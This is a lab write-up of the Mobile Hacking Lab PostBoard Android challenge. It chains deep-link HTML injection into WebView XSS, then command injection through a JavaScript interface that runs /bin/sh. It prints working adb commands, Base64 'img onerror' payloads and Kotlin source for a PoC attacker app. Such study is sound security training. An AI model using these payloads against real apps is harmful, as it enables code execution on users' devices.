Objective

Exploiting a Cross-Site Scripting (XSS) vulnerability in Android WebView to achieve Remote Code Execution (RCE)

The post board challenge from Mobile Hacking Lab is available here πŸ‘‰ https://www.mobilehackinglab.com/course/lab-postboard.

Inspecting Android Manifest

The application has only one activity com.mobilehackinglab.postboard.MainActivity. The relevant snippet from AndroidManifest.xml is provided below.

        <activity android:name="com.mobilehackinglab.postboard.MainActivity" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="postboard" android:host="postmessage"/>
            </intent-filter>
        </activity>

As the activity is exported, it can be launched by other applications installed on the same device. The activity expects the following intent data URI.

postboard://postmessage

Source Code Audit

Inspecting the MainActivity, we can see that it creates a WebView inside the onCreate() method. In addition, it also calls the handleIntent() function which will handle any incoming intents.

d06cd5706e134027db3ed7389b0e3571.png

The setupWebView() function, as the name indicates, sets up the WebView and loads a static html page located at file:///android_asset/index.html. The function also registers a JavaScript interface WebAppInterface to the WebView.

    private final void setupWebView(WebView webView) {
        webView.getSettings().setJavaScriptEnabled(true);
        webView.setWebChromeClient(new WebAppChromeClient());
        webView.addJavascriptInterface(new WebAppInterface(), "WebAppInterface");
        webView.loadUrl("file:///android_asset/index.html");
    }

Few things to note are:

  • JavaScript is enabled in WebView
  • Presence of a JavaScript interface.

e76341f7a180a29c874f05ba6ae23e43.png

Inspecting handleIntent() Function

The handleIntent() function source code is as follows.

private final void handleIntent() {
        Intent intent = getIntent();
        String action = intent.getAction();
        Uri data = intent.getData();
        if (!Intrinsics.areEqual("android.intent.action.VIEW", action) || data == null || !Intrinsics.areEqual(data.getScheme(), "postboard") || !Intrinsics.areEqual(data.getHost(), "postmessage")) {
            return;
        }
        ActivityMainBinding activityMainBinding = null;
        try {
            String path = data.getPath();
            byte[] decode = Base64.decode(path != null ? StringsKt.drop(path, 1) : null, 8);
            Intrinsics.checkNotNullExpressionValue(decode, "decode(...)");
            String message = StringsKt.replace$default(new String(decode, Charsets.UTF_8), "'", "\\'", false, 4, (Object) null);
            ActivityMainBinding activityMainBinding2 = this.binding;
            if (activityMainBinding2 == null) {
                Intrinsics.throwUninitializedPropertyAccessException("binding");
                activityMainBinding2 = null;
            }
            activityMainBinding2.webView.loadUrl("javascript:WebAppInterface.postMarkdownMessage('" + message + "')");
        } catch (Exception e) {
            ActivityMainBinding activityMainBinding3 = this.binding;
            if (activityMainBinding3 == null) {
                Intrinsics.throwUninitializedPropertyAccessException("binding");
            } else {
                activityMainBinding = activityMainBinding3;
            }
            activityMainBinding.webView.loadUrl("javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");
        }
    }

It performs the following:

  • Gets the current intent.
  • Gets the action of the current intent.
  • Checks if the action is android.intent.action.VIEW
  • Ensures that the intent data is not null
  • Ensures that the intent data scheme is postboard://
  • Ensures that the intent data host is postmessage
  • If the above 4 conditions are satisfied, the function then takes the path segment from the intent data URI and Base64 decodes it, escapes any single quotes ' by prepending forward slashes.
  • The following JavaScript URL is then loaded in the WebView - javascript:WebAppInterface.postMarkdownMessage('" + message + "'). The message is the string obtained from the previous step.

Displaying Arbitrary Content in WebView

Based on the previous analysis, we can display arbitrary content inside the WebView by launching the MainActivity with the following intent data.

postboard://postmessage/{base64_encoded_content}

Lets try this with ADB to show the HTML string <h1>TESTING_INJECTION</h1>.

adb shell am start -n "com.mobilehackinglab.postboard/.MainActivity" -a "android.intent.action.VIEW" -d "postboard://postmessage/PGgxPlRFU1RJTkdfSU5KRUNUSU9OPC9oMT4="

03e6e204717227936c18715c99e238b3.png

Sweet. We are able to display HTML content inside the WebView.

HTML Injection to XSS

Since we are able to display any HTML content inside WebView. Lets try to execute some JavaScript.

HTML: <img src=x onerror=alert(document.location.href)>
Base64 Encoded : PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmxvY2F0aW9uLmhyZWYpPg==

ADB Command:
adb shell am start -n "com.mobilehackinglab.postboard/.MainActivity" -a "android.intent.action.VIEW" -d "postboard://postmessage/PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmxvY2F0aW9uLmhyZWYpPg=="

716378f7657d4788254f942480107ed0.png

We are able to execute arbitrary JavaScript inside the WebView.

Road to RCE

Since we have arbitrary JavaScript execution in the WebView, we can interact with the JavaScript interface WebAppInterface and invoke any functions in the JavaScript interface class which are annotated with the decorator @JavascriptInterface. There are couple of functions.

  • getMessages()
  • clearCache()
  • postMarkdownMessage(String markDownMessage)
  • postCowsayMessage(String cowsayMessage)

The one which is interesting to us is the postCowsayMessage(String cowsayMessage) function. This function is originally invoked in case any exception occurs inside handleIntent() function in MainActivity .

55ac1b9c3cc36eac828e7e446e16ec4d.png

Let us inspect the postCowsayMessage function which is defined inside the JavaScript interface class com.mobilehackinglab.postboard.WebAppInterface.

    @JavascriptInterface
    public final void postCowsayMessage(String cowsayMessage) {
        Intrinsics.checkNotNullParameter(cowsayMessage, "cowsayMessage");
        String asciiArt = CowsayUtil.Companion.runCowsay(cowsayMessage);
        String html = StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(asciiArt, "&", "&amp;", false, 4, (Object) null), "<", "&lt;", false, 4, (Object) null), ">", "&gt;", false, 4, (Object) null), "\"", "&quot;", false, 4, (Object) null), "'", "&#039;", false, 4, (Object) null);
        this.cache.addMessage("<pre>" + StringsKt.replace$default(html, "\n", "<br>", false, 4, (Object) null) + "</pre>");
    }

It seems to accept a string input message and turn it into the cow say ascii art. The ascii art is then HTML encoded and added to the cache.

a4b3d43478fe6f85c2f238f9b44b290c.png

The ascii art is generated by calling the function CowsayUtil.Companion.runCowsay(cowsayMessage);.

The function runCowsay() is defined in the class defpackage.CowsayUtil.

296b52c06758abe2a31f785e759e16a0.png

public final String runCowsay(String message) {
            Intrinsics.checkNotNullParameter(message, "message");
            try {
                String[] command = {"/bin/sh", "-c", CowsayUtil.scriptPath + ' ' + message};
                Process process = Runtime.getRuntime().exec(command);
                StringBuilder output = new StringBuilder();
                InputStream inputStream = process.getInputStream();
                Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
                InputStreamReader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
                BufferedReader bufferedReader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
                BufferedReader reader = bufferedReader;
                while (true) {
                    String it = reader.readLine();
                    if (it == null) {
                        Unit unit = Unit.INSTANCE;
                        CloseableKt.closeFinally(bufferedReader, null);
                        process.waitFor();
                        String sb = output.toString();
                        Intrinsics.checkNotNullExpressionValue(sb, "toString(...)");
                        return sb;
                    }
                    output.append(it).append("\n");
                }
            } catch (Exception e) {
                e.printStackTrace();
                return "cowsay: " + e.getMessage();
            }
        }

The runCowsay(String message) function takes the message input and executes the system command /bin/sh -c cowsay.sh message. The script cowsay.sh is located inside the application context files directory.

It can be seen that there is no validation on the input parameter message and is vulnerable to command injection.

This means that we can call the postCowsayMessage() function with string input such as the following to execute system commands in context of the application.

  • testMessage;id;whoami

Getting RCE

To call the postCowsayMessage via the XSS that we obtained earlier, we can use the following payload.

HTML: <img src=x onerror="WebAppInterface.postCowsayMessage('rizaruuu-moooo;id;whoami;hostname')">
Base64:  PGltZyBzcmM9eCBvbmVycm9yPSJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3JpemFydXV1LW1vb29vO2lkO3dob2FtaTtob3N0bmFtZScpIj4=

ADB Command:
adb shell am start -n "com.mobilehackinglab.postboard/.MainActivity" -a "android.intent.action.VIEW" -d "postboard://postmessage/PGltZyBzcmM9eCBvbmVycm9yPSJXZWJBcHBJbnRlcmZhY2UucG9zdENvd3NheU1lc3NhZ2UoJ3JpemFydXV1LW1vb29vO2lkO3dob2FtaTtob3N0bmFtZScpIj4="

abdd0c6a11b0afa8cf5a2178f4f2626f.png

We don’t see the cowsay message in the UI, because the ascii art is only added to the cache. Calling the getMessages() function would show it in the UI. However, the system command is already executed when the image is loaded and the JavaScript is triggered.

We can either click on the Post Message button in the UI to see the output of the executed command / cowsay or run WebAppInterface.getMessages(); to update the UI.

Clicking on the button.

6ef767bd0db3324e751ef96725654942.png

RCE Using a Malicious Application

The following malicious application can be used to demonstrate the RCE.

package com.rizaru.mobilehackinglab_postboard_poc

import android.content.Intent
import android.net.Uri
import android.os.Build
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import androidx.annotation.RequiresApi
import java.util.Base64

class MainActivity : AppCompatActivity() {
    @RequiresApi(Build.VERSION_CODES.O)
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        sploit()
    }

    @RequiresApi(Build.VERSION_CODES.O)
    fun sploit(){
        val it = Intent()
        it.setClassName("com.mobilehackinglab.postboard","com.mobilehackinglab.postboard.MainActivity")
        it.action = "android.intent.action.VIEW"

        var htmlPayload = "<img src=x onerror=\"WebAppInterface.postCowsayMessage('rizaruuu-moooo123;id;whoami;hostname')\">"
        var b64Payload = Base64.getEncoder().encodeToString(htmlPayload.toByteArray())
        var dataUri = "postboard://postmessage/$b64Payload"

        it.data = Uri.parse(dataUri)
        startActivity(it)
        
    }
}

A Word About the Mobile Hacking Lab

Mobile hacking lab provides access to android virtual machines via the correllium platform and can be accessed over the browser.

The lab gives clear and easy instructions to connect to the Android VM and interact with it.

a387b02adc4e41ca5ea3622d43c948df.png

4729b46f56097e94f5e9df1ce4bf76fc.png

The lab is easy to use and provides all the required functionality. I was able to upload my PoC application and test on the lab.

b31299236e022e5893a7fe1b9545d699.png

11b9a118fb1ed2c106334ea38f148ede.png

Completion Certificate

Upon successfully solving the challenge and submitting the proof of concept, mobile hacking lab awards a completion certificate.

cert-post-board